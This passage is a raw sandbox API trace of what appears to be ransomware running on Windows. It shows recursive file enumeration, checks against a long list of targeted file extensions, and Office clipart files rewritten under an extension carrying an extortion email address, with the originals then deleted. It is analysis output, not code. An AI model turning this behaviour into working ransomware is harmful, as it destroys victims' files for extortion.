(lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf")) returned 1 [0109.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0109.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0109.692] lstrlenW (lpString=".doc") returned 4 [0109.692] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0109.692] lstrlenW (lpString=".docx") returned 5 [0109.692] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0109.692] lstrlenW (lpString=".pdf") returned 4 [0109.692] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0109.692] lstrlenW (lpString=".xls") returned 4 [0109.692] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0109.692] lstrlenW (lpString=".xlsx") returned 5 [0109.692] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0109.692] lstrlenW (lpString=".ppt") returned 4 [0109.692] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0109.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0109.692] lstrlenW (lpString=".zip") returned 4 [0109.692] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0109.692] lstrlenW (lpString=".rar") returned 4 [0109.693] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0109.693] lstrlenW (lpString=".bz2") returned 4 [0109.693] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0109.693] lstrlenW (lpString=".7z") returned 3 [0109.693] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0109.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0109.693] lstrlenW (lpString=".dbf") returned 4 [0109.693] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0109.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0109.693] lstrlenW (lpString=".1cd") returned 4 [0109.693] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0109.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0109.693] lstrlenW (lpString=".jpg") returned 4 [0109.693] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0109.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0109.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0109.693] lstrlenW (lpString=".doc") returned 4 [0109.693] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0109.693] lstrlenW (lpString=".docx") returned 5 [0109.693] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0109.693] lstrlenW (lpString=".pdf") returned 4 [0109.693] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0109.693] lstrlenW (lpString=".xls") returned 4 [0109.693] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0109.693] lstrlenW (lpString=".xlsx") returned 5 [0109.693] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0109.693] lstrlenW (lpString=".ppt") returned 4 [0109.694] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0109.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0109.694] lstrlenW (lpString=".zip") returned 4 [0109.694] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0109.694] lstrlenW (lpString=".rar") returned 4 [0109.694] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0109.694] lstrlenW (lpString=".bz2") returned 4 [0109.694] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0109.694] lstrlenW (lpString=".7z") returned 3 [0109.694] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0109.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0109.694] lstrlenW (lpString=".dbf") returned 4 [0109.694] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0109.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0109.694] lstrlenW (lpString=".1cd") returned 4 [0109.694] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0109.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0109.694] lstrlenW (lpString=".jpg") returned 4 [0109.694] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0109.694] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0109.694] lstrlenW (lpString="BD09031_.WMF") returned 12 [0109.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0109.695] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=47786) returned 1 [0109.695] CloseHandle (hObject=0x360) returned 1 [0109.696] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf")) returned 0x220 [0109.696] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0109.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0109.696] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0109.696] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0109.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0109.696] GetLastError () returned 0x0 [0109.696] ReadFile (in: hFile=0x360, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0xbaaa, lpOverlapped=0x0) returned 1 [0109.699] WriteFile (in: hFile=0x36c, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0xbab0, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0xbab0, lpOverlapped=0x0) returned 1 [0109.701] ReadFile (in: hFile=0x360, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1 [0109.701] WriteFile (in: hFile=0x36c, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1 [0109.701] SetEndOfFile (hFile=0x36c) returned 1 [0109.701] CloseHandle (hObject=0x36c) returned 1 [0109.703] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0109.703] SetEndOfFile (hFile=0x360) returned 1 [0109.705] CloseHandle (hObject=0x360) returned 1 [0109.705] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0109.705] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf")) returned 1 [0109.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0109.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0109.705] lstrlenW (lpString=".doc") returned 4 [0109.705] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0109.705] lstrlenW (lpString=".docx") returned 5 [0109.705] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0109.706] lstrlenW (lpString=".pdf") returned 4 [0109.706] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0109.706] lstrlenW (lpString=".xls") returned 4 [0109.706] lstrcmpiW (lpString1=".xls", lpString2=".WMF") Thread: id = 12 os_tid = 0x6bc [0078.610] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x35a0048 [0078.611] lstrlenW (lpString="C:") returned 2 [0078.611] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x2d2fcf8 | out: lpFindFileData=0x2d2fcf8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77bb0000, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0x459c20 [0078.611] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0078.611] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent") returned 1 [0078.611] lstrlenW (lpString="$GetCurrent") returned 11 [0078.611] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="$GetCurrent") returned 1 [0078.611] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x35b0050 [0078.612] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0078.612] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\*", lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x45a120 [0078.619] FindNextFileW (in: hFindFile=0x45a120, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0078.621] FindNextFileW (in: hFindFile=0x45a120, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Logs", cAlternateFileName="")) returned 1 [0078.621] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0078.621] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent\\Logs") returned 1 [0078.621] lstrlenW (lpString="Logs") returned 4 [0078.621] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Logs") returned -1 [0078.621] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x35d0060 [0078.622] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0078.622] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x459d20 [0078.633] FindNextFileW (in: hFindFile=0x459d20, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.633] FindNextFileW (in: hFindFile=0x459d20, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x542c8aac, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0xafe5f7a, ftLastWriteTime.dwHighDateTime=0x1d3273e, nFileSizeHigh=0x0, nFileSizeLow=0xa6b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="downlevel_2017_09_07_02_02_39_766.log", cAlternateFileName="DOWNLE~1.LOG")) returned 1 [0078.633] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log") returned 37 [0078.633] lstrlenW (lpString=".1cd") returned 4 [0078.633] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0078.633] lstrlenW (lpString=".3ds") returned 4 [0078.633] lstrcmpiW (lpString1=".3ds", lpString2=".log") returned -1 [0078.633] lstrlenW (lpString=".3fr") returned 4 [0078.633] lstrcmpiW (lpString1=".3fr", lpString2=".log") returned -1 [0078.634] lstrlenW (lpString=".3g2") returned 4 [0078.634] lstrcmpiW (lpString1=".3g2", lpString2=".log") returned -1 [0078.634] lstrlenW (lpString=".3gp") returned 4 [0078.634] lstrcmpiW (lpString1=".3gp", lpString2=".log") returned -1 [0078.634] lstrlenW (lpString=".7z") returned 3 [0078.634] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0078.634] lstrlenW (lpString=".accda") returned 6 [0078.634] lstrcmpiW (lpString1=".accda", lpString2="66.log") returned -1 [0078.634] lstrlenW (lpString=".accdb") returned 6 [0078.634] lstrcmpiW (lpString1=".accdb", lpString2="66.log") returned -1 [0078.634] lstrlenW (lpString=".accdc") returned 6 [0078.634] lstrcmpiW (lpString1=".accdc", lpString2="66.log") returned -1 [0078.634] lstrlenW (lpString=".accde") returned 6 [0078.634] lstrcmpiW (lpString1=".accde", lpString2="66.log") returned -1 [0078.634] lstrlenW (lpString=".accdt") returned 6 [0078.634] lstrcmpiW (lpString1=".accdt", lpString2="66.log") returned -1 [0078.634] lstrlenW (lpString=".accdw") returned 6 [0078.634] lstrcmpiW (lpString1=".accdw", lpString2="66.log") returned -1 [0078.634] lstrlenW (lpString=".adb") returned 4 [0078.634] lstrcmpiW (lpString1=".adb", lpString2=".log") returned -1 [0078.634] lstrlenW (lpString=".adp") returned 4 [0078.634] lstrcmpiW (lpString1=".adp", lpString2=".log") returned -1 [0078.634] lstrlenW (lpString=".ai") returned 3 [0078.634] lstrcmpiW (lpString1=".ai", lpString2="log") returned -1 [0078.634] lstrlenW (lpString=".ai3") returned 4 [0078.634] lstrcmpiW (lpString1=".ai3", lpString2=".log") returned -1 [0078.634] lstrlenW (lpString=".ai4") returned 4 [0078.634] lstrcmpiW (lpString1=".ai4", lpString2=".log") returned -1 [0078.634] lstrlenW (lpString=".ai5") returned 4 [0078.635] lstrcmpiW (lpString1=".ai5", lpString2=".log") returned -1 [0078.635] lstrlenW (lpString=".ai6") returned 4 [0078.635] lstrcmpiW (lpString1=".ai6", lpString2=".log") returned -1 [0078.635] lstrlenW (lpString=".ai7") returned 4 [0078.635] lstrcmpiW (lpString1=".ai7", lpString2=".log") returned -1 [0078.635] lstrlenW (lpString=".ai8") returned 4 [0078.635] lstrcmpiW (lpString1=".ai8", lpString2=".log") returned -1 [0078.635] lstrlenW (lpString=".anim") returned 5 [0078.635] lstrcmpiW (lpString1=".anim", lpString2="6.log") returned -1 [0078.635] lstrlenW (lpString=".arw") returned 4 [0078.635] lstrcmpiW (lpString1=".arw", lpString2=".log") returned -1 [0078.635] lstrlenW (lpString=".as") returned 3 [0078.635] lstrcmpiW (lpString1=".as", lpString2="log") returned -1 [0078.635] lstrlenW (lpString=".asa") returned 4 [0078.635] lstrcmpiW (lpString1=".asa", lpString2=".log") returned -1 [0078.635] lstrlenW (lpString=".asc") returned 4 [0078.635] lstrcmpiW (lpString1=".asc", lpString2=".log") returned -1 [0078.635] lstrlenW (lpString=".ascx") returned 5 [0078.635] lstrcmpiW (lpString1=".ascx", lpString2="6.log") returned -1 [0078.635] lstrlenW (lpString=".asm") returned 4 [0078.635] lstrcmpiW (lpString1=".asm", lpString2=".log") returned -1 [0078.635] lstrlenW (lpString=".asmx") returned 5 [0078.635] lstrcmpiW (lpString1=".asmx", lpString2="6.log") returned -1 [0078.635] lstrlenW (lpString=".asp") returned 4 [0078.635] lstrcmpiW (lpString1=".asp", lpString2=".log") returned -1 [0078.635] lstrlenW (lpString=".aspx") returned 5 [0078.635] lstrcmpiW (lpString1=".aspx", lpString2="6.log") returned -1 [0078.635] lstrlenW (lpString=".asr") returned 4 [0078.635] lstrcmpiW (lpString1=".asr", lpString2=".log") returned -1 [0078.636] lstrlenW (lpString=".asx") returned 4 [0078.636] lstrcmpiW (lpString1=".asx", lpString2=".log") returned -1 [0078.636] lstrlenW (lpString=".avi") returned 4 [0078.636] lstrcmpiW (lpString1=".avi", lpString2=".log") returned -1 [0078.636] lstrlenW (lpString=".avs") returned 4 [0078.636] lstrcmpiW (lpString1=".avs", lpString2=".log") returned -1 [0078.636] lstrlenW (lpString=".backup") returned 7 [0078.636] lstrcmpiW (lpString1=".backup", lpString2="766.log") returned -1 [0078.636] lstrlenW (lpString=".bak") returned 4 [0078.636] lstrcmpiW (lpString1=".bak", lpString2=".log") returned -1 [0078.636] lstrlenW (lpString=".bay") returned 4 [0078.636] lstrcmpiW (lpString1=".bay", lpString2=".log") returned -1 [0078.636] lstrlenW (lpString=".bd") returned 3 [0078.636] lstrcmpiW (lpString1=".bd", lpString2="log") returned -1 [0078.636] lstrlenW (lpString=".bin") returned 4 [0078.636] lstrcmpiW (lpString1=".bin", lpString2=".log") returned -1 [0078.636] lstrlenW (lpString=".bmp") returned 4 [0078.636] lstrcmpiW (lpString1=".bmp", lpString2=".log") returned -1 [0078.636] lstrlenW (lpString=".bz2") returned 4 [0078.636] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0078.636] lstrlenW (lpString=".c") returned 2 [0078.636] lstrcmpiW (lpString1=".c", lpString2="og") returned -1 [0078.636] lstrlenW (lpString=".cdr") returned 4 [0078.636] lstrcmpiW (lpString1=".cdr", lpString2=".log") returned -1 [0078.636] lstrlenW (lpString=".cer") returned 4 [0078.636] lstrcmpiW (lpString1=".cer", lpString2=".log") returned -1 [0078.636] lstrlenW (lpString=".cf") returned 3 [0078.636] lstrcmpiW (lpString1=".cf", lpString2="log") returned -1 [0078.636] lstrlenW (lpString=".cfc") returned 4 [0078.637] lstrcmpiW (lpString1=".cfc", lpString2=".log") returned -1 [0078.637] lstrlenW (lpString=".cfm") returned 4 [0078.637] lstrcmpiW (lpString1=".cfm", lpString2=".log") returned -1 [0078.637] lstrlenW (lpString=".cfml") returned 5 [0078.637] lstrcmpiW (lpString1=".cfml", lpString2="6.log") returned -1 [0078.637] lstrlenW (lpString=".cfu") returned 4 [0078.637] lstrcmpiW (lpString1=".cfu", lpString2=".log") returned -1 [0078.637] lstrlenW (lpString=".chm") returned 4 [0078.637] lstrcmpiW (lpString1=".chm", lpString2=".log") returned -1 [0078.637] lstrlenW (lpString=".cin") returned 4 [0078.637] lstrcmpiW (lpString1=".cin", lpString2=".log") returned -1 [0078.637] lstrlenW (lpString=".class") returned 6 [0078.637] lstrcmpiW (lpString1=".class", lpString2="66.log") returned -1 [0078.637] lstrlenW (lpString=".clx") returned 4 [0078.637] lstrcmpiW (lpString1=".clx", lpString2=".log") returned -1 [0078.637] lstrlenW (lpString=".config") returned 7 [0078.637] lstrcmpiW (lpString1=".config", lpString2="766.log") returned -1 [0078.637] lstrlenW (lpString=".cpp") returned 4 [0078.637] lstrcmpiW (lpString1=".cpp", lpString2=".log") returned -1 [0078.637] lstrlenW (lpString=".cr2") returned 4 [0078.637] lstrcmpiW (lpString1=".cr2", lpString2=".log") returned -1 [0078.637] lstrlenW (lpString=".crt") returned 4 [0078.637] lstrcmpiW (lpString1=".crt", lpString2=".log") returned -1 [0078.637] lstrlenW (lpString=".crw") returned 4 [0078.637] lstrcmpiW (lpString1=".crw", lpString2=".log") returned -1 [0078.637] lstrlenW (lpString=".cs") returned 3 [0078.638] lstrcmpiW (lpString1=".cs", lpString2="log") returned -1 [0078.638] lstrlenW (lpString=".css") returned 4 [0078.638] lstrcmpiW (lpString1=".css", lpString2=".log") returned -1 [0078.638] lstrlenW (lpString=".csv") returned 4 [0078.638] lstrcmpiW (lpString1=".csv", lpString2=".log") returned -1 [0078.638] lstrlenW (lpString=".cub") returned 4 [0078.638] lstrcmpiW (lpString1=".cub", lpString2=".log") returned -1 [0078.638] lstrlenW (lpString=".dae") returned 4 [0078.638] lstrcmpiW (lpString1=".dae", lpString2=".log") returned -1 [0078.638] lstrlenW (lpString=".dat") returned 4 [0078.638] lstrcmpiW (lpString1=".dat", lpString2=".log") returned -1 [0078.638] lstrlenW (lpString=".db") returned 3 [0078.638] lstrcmpiW (lpString1=".db", lpString2="log") returned -1 [0078.638] lstrlenW (lpString=".dbf") returned 4 [0078.638] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0078.638] lstrlenW (lpString=".dbx") returned 4 [0078.638] lstrcmpiW (lpString1=".dbx", lpString2=".log") returned -1 [0078.638] lstrlenW (lpString=".dc3") returned 4 [0078.638] lstrcmpiW (lpString1=".dc3", lpString2=".log") returned -1 [0078.638] lstrlenW (lpString=".dcm") returned 4 [0078.638] lstrcmpiW (lpString1=".dcm", lpString2=".log") returned -1 [0078.638] lstrlenW (lpString=".dcr") returned 4 [0078.638] lstrcmpiW (lpString1=".dcr", lpString2=".log") returned -1 [0078.639] lstrlenW (lpString=".der") returned 4 [0078.639] lstrcmpiW (lpString1=".der", lpString2=".log") returned -1 [0078.639] lstrlenW (lpString=".dib") returned 4 [0078.639] lstrcmpiW (lpString1=".dib", lpString2=".log") returned -1 [0078.639] lstrlenW (lpString=".dic") returned 4 [0078.639] lstrcmpiW (lpString1=".dic", lpString2=".log") returned -1 [0078.639] lstrlenW (lpString=".dif") returned 4 [0078.639] lstrcmpiW (lpString1=".dif", lpString2=".log") returned -1 [0078.639] lstrlenW (lpString=".divx") returned 5 [0078.639] lstrcmpiW (lpString1=".divx", lpString2="6.log") returned -1 [0078.639] lstrlenW (lpString=".djvu") returned 5 [0078.639] lstrcmpiW (lpString1=".djvu", lpString2="6.log") returned -1 [0078.639] lstrlenW (lpString=".dng") returned 4 [0078.639] lstrcmpiW (lpString1=".dng", lpString2=".log") returned -1 [0078.639] lstrlenW (lpString=".doc") returned 4 [0078.639] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0078.639] lstrlenW (lpString=".docm") returned 5 [0078.639] lstrcmpiW (lpString1=".docm", lpString2="6.log") returned -1 [0078.639] lstrlenW (lpString=".docx") returned 5 [0078.639] lstrcmpiW (lpString1=".docx", lpString2="6.log") returned -1 [0078.639] lstrlenW (lpString=".dot") returned 4 [0078.639] lstrcmpiW (lpString1=".dot", lpString2=".log") returned -1 [0078.639] lstrlenW (lpString=".dotm") returned 5 [0078.639] lstrcmpiW (lpString1=".dotm", lpString2="6.log") returned -1 [0078.639] lstrlenW (lpString=".dotx") returned 5 [0078.640] lstrcmpiW (lpString1=".dotx", lpString2="6.log") returned -1 [0078.640] lstrlenW (lpString=".dpx") returned 4 [0078.640] lstrcmpiW (lpString1=".dpx", lpString2=".log") returned -1 [0078.640] lstrlenW (lpString=".dqy") returned 4 [0078.640] lstrcmpiW (lpString1=".dqy", lpString2=".log") returned -1 [0078.640] lstrlenW (lpString=".dsn") returned 4 [0078.640] lstrcmpiW (lpString1=".dsn", lpString2=".log") returned -1 [0078.640] lstrlenW (lpString=".dt") returned 3 [0078.640] lstrcmpiW (lpString1=".dt", lpString2="log") returned -1 [0078.640] lstrlenW (lpString=".dtd") returned 4 [0078.640] lstrcmpiW (lpString1=".dtd", lpString2=".log") returned -1 [0078.640] lstrlenW (lpString=".dwg") returned 4 [0078.640] lstrcmpiW (lpString1=".dwg", lpString2=".log") returned -1 [0078.640] lstrlenW (lpString=".dwt") returned 4 [0078.640] lstrcmpiW (lpString1=".dwt", lpString2=".log") returned -1 [0078.640] lstrlenW (lpString=".dx") returned 3 [0078.640] lstrcmpiW (lpString1=".dx", lpString2="log") returned -1 [0078.640] lstrlenW (lpString=".dxf") returned 4 [0078.640] lstrcmpiW (lpString1=".dxf", lpString2=".log") returned -1 [0078.640] lstrlenW (lpString=".edml") returned 5 [0078.640] lstrcmpiW (lpString1=".edml", lpString2="6.log") returned -1 [0078.640] lstrlenW (lpString=".efd") returned 4 [0078.640] lstrcmpiW (lpString1=".efd", lpString2=".log") returned -1 [0078.640] lstrlenW (lpString=".elf") returned 4 [0078.640] lstrcmpiW (lpString1=".elf", lpString2=".log") returned -1 [0078.640] lstrlenW (lpString=".emf") returned 4 [0078.641] lstrcmpiW (lpString1=".emf", lpString2=".log") returned -1 [0078.641] lstrlenW (lpString=".emz") returned 4 [0078.641] lstrcmpiW (lpString1=".emz", lpString2=".log") returned -1 [0078.641] lstrlenW (lpString=".epf") returned 4 [0078.641] lstrcmpiW (lpString1=".epf", lpString2=".log") returned -1 [0078.641] lstrlenW (lpString=".eps") returned 4 [0078.641] lstrcmpiW (lpString1=".eps", lpString2=".log") returned -1 [0078.641] lstrlenW (lpString=".epsf") returned 5 [0078.641] lstrcmpiW (lpString1=".epsf", lpString2="6.log") returned -1 [0078.641] lstrlenW (lpString=".epsp") returned 5 [0078.641] lstrcmpiW (lpString1=".epsp", lpString2="6.log") returned -1 [0078.641] lstrlenW (lpString=".erf") returned 4 [0078.641] lstrcmpiW (lpString1=".erf", lpString2=".log") returned -1 [0078.641] lstrlenW (lpString=".exr") returned 4 [0078.641] lstrcmpiW (lpString1=".exr", lpString2=".log") returned -1 [0078.641] lstrlenW (lpString=".f4v") returned 4 [0078.641] 